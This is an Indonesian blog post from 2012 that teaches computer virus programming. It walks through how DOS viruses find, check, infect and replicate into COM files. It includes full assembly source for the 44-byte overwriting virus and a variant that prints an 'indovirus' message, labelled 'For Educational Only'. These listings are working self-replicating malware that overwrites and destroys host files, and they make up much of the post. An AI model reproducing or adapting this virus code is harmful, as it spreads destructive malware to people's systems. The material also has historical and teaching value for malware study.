Thursday, January 5, 2012

Pemrograman Virus Komputer


PEMPROGRAMAN VIRUS KOMPUTER

4. 1. Cara Kerja Virus Komputer


Cara kerja Virus Komputer pada umumnya adalah menyebarkan dirinya dengan cara antara lain menularkan file-file executable atau file-file yang bisa dijalankan langsung dari DOS Command line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada gambar dibawah ini :

Gambar 4.1. Mekanisme Penularan

Sudah jadi sifat virus jika dia dijalankan, maka ia menulari program aplikasi yang lain, yang di maksud menulari adalah menyalin dirinya atau program virus tersebut ke program aplikasi lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1 yang sudah serinfeksi virus itu akan menularkan virus pada program aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah merupakan program pemikul bagi virus itu sendiri, yang akan menularkan seluruh program aplikasi yang ada.
Agar bisa bertindak sebagai virus komputer, sebuah program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari virus komputer. Kelima kemampuan itu adalah :
  1. Kemampuan mendapatkan informasi
  2. Kemampuan memeriksa program
  3. Kemampuan menggandakan diri / menularkan
  4. Kemampuan mengadakan manipulasi
  5. Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya

4. 1.1. Kemampuan mendapatkan Informasi

Pada Virus Komputer kemampuan untuk mendapatkan informasi sangat penting, terutama informasi mengenai file yang akan diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi sekumpulan program, contohnya File-file EXE, file-file COM, atau kedua-duanya, virus harus mendapatkan informasi tentang file tersebut pada directory, hal-hal mengenai informasi pada file yang perlu diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi tersebut sangat bermanfaat bagi virus, dimana informasi mengenai Extension file berguna untuk virus yang menyerang file-file tertentu contohnya virus yang menyerang file EXE, virus tersebut harus mencari file-file EXE yang akan ditulari.
Informasi attribut berguna untuk memberikan pilihan pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden ataukan virus harus mengeset attribut file-file tersebut menjadi Normal, sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana

Besar_file_terinfeksi = file_asli + Virus_size

Fungsi ini terutama dipakai oleh virus Non OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan informasi tentang File :

Start : mov dx,offset File_to_infect ; cari seluruh file Mov ah,4Eh
Mov cx, 3 ; Attribut File    ; cari host file

———
int 21h     ; Dos Intrupt
cmp ax,12h  ; Ada file lagi
je exit     ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start                ; akhir kode Virus


Listing 4.1. Search First File

Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File), dan mendapat kan informasi tentang file yang berada di dalam directory, biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.

4. 1. 2. Kemampuan Untuk Memeriksa Program

Kemampuan untuk memeriksa program sangat penting bagi Virus Komputer , karena untuk mengetahui apakah file target sudah tertular atau belum, ini sangat penting karena virus tidak akan menularkan dirinya berkali-kali pada file yang sama, selain untuk mempercepat proses penularan juga untuk menjaga agar file korban tidak rusak, karena apabila penularan dilakukan berulang-ulang pada file yang sama, CRC dari file tersebut akan kacau dan menyebabkan file yang tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan pesan Divide Over Flow, atau Error in Exe File, selain itu file yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :

Gambar 4.2. Memeriksa Program

Berikut ini contoh listing dari kemampuan untuk memeriksa file

Mov ah, 3fh       ; Baca file
Mov cx, 3         ; baca 3 byte
Mov dx,3_byte     ; simpan pada buffer
Add dx,si         ; Nama file
Int 21h           ; Dos intrupt
Cmp a,3           ; Cek 3 byte tadi
Jnz cari_lagi     ; Jika sudah tertular exit
Jmp Infect        ; kalau belum , infect_file
3_byte equ $      ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file :     ; bagian penginfeksian

———— ; rutin infeksi

int 20h ; Dos Exit function
nop ; No Operation

Listing 4.2 . Periksa File

Pada rutin diatas dapat dilihat bagai mana Virus Komputer memeriksa file korbannya, untuk memberikan identitas file mana yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file korban, umumnya 3 byte pertama yang menandakan file tersebut sudah tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin ini sangat penting untuk menghindari penularan berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin ini dipakai oleh 90 % virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus Komputer , karena virus komputer memang diprogram untuk menularkan, dan memperbanyak dirinya. Tugas dari rutin replicating ini adalah menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin ini sangat berat karena rutin tersebut harus mampu menyebarkan virus dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin replicator harus dapat menjaga agar file yang ditularinnya tidak rusak ( Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan sebagaimana mestinnya.
Cara kerja rutin replicator pada file COM lebih sederhana dari file EXE, karena struktur program EXE yang tidak terbatas besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM akan menditeksi dan mengcopy byte pertama dari file yang akan ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan kedalam daerah lain dalam file.
File bersih                                 program Virus
Pada diagram diatas P1 adalah bagian pertama dari file, P2 adalah bagian kedua dari file korban. P1 harus sama besar dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya pada bagian akhir dari file.
Setelah itu virus akan mengcopykan bagian pertama dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di belakang file korban.
Kemudian virus akan mengcopykan bagian kedunya (V2) yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat dibawah ini :
Dalam program dapat diambil contoh 44-Virus.Com , yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting file Com yang ada dalam suatu directory sepanjang badan Virus itu sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah ini virus hanya mempunyai kemampuan untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :

virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal program
start : mov ah,04eh      ; Cari file dengan kategori file COM
xor cx,cx                ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask          ; Nama file COM masukan ke register DX
int 21h                  ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len     ; cx diisi panjang badan virus
lea dx,start            ; Masukan header Virus “V1″ pada DX
Mov ah,40h              ; Tulis badan virus dalam file korban
Int 21h                 ; Dos Intrupt
Next : mov ah,3eh       ; Tutup file korban
int 21h
mov ah,4fh    ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h         ; Akhir badan virus “V2″
virus ends
end start

Listing 4.3. Replicating / Penggandaan

4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya, suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti, makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang ada, yang sering digunakan adalah :
  1. Menampilkan tulisan / kata-kata / gambar
  2. Membunyikan port speaker
  3. Time bomb / logic Bomb

4.1.4.1. Menampilkan Tulisan / gambar

Rutin ini yang paling banyak dipakai oleh pembuat Virus Komputer , karena rutin ini selain untuk kepopularitas virus maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan menarik. Listing program dibawah ini akan memberikan contoh pembuatan rutin ini.



virus segment
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09        ; Dos service 09h = Cetak String
lea dx,msg               ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh         ; Cari file dengan kategori file COM
xor cx,cx                ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask          ; Nama file COM masukan ke register DX
int 21h                  ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start           ; Masukan header Virus “V1″ pada DX
mov ah,40h             ; Tulis badan virus dalam file korban
Int 21h                ; Dos Intrupt
Next : mov ah,3eh      ; Tutup file korban
int 21h
mov ah,4fh             ; Cari file korban lagi
int 21h
jnb open_file          ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h         ; Akhir badan virus “V2″
virus ends
end start

Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :

Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –

setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu

mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt

No comments: